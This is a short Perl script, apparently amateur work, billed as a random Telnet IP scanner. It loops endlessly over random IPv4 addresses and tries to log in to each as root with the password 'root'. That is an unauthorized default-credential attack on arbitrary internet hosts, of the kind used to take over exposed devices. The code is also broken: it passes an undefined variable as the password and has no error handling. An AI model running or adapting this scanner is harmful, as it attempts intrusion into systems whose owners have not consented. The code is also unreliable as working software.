tel.pl

#!/usr/bin/perl

#Perl Random Telnet Scanner by quinlan

#Modules Install using CPAN

use Net::Telnet;

$username = 'root';
$password = 'root';
$loop = 2; #i dont know perl too much lol

print "Telnet Random Ip Scanner By Quinlan V1";

$connect = new Net::Telnet (Timeout => 10,
							Prompt => '/bash\$ $/');
for(;;) {
my $target = int rand 2**32;
$connect->open($target);
$connect->login($username, $passwd);
print $target;
}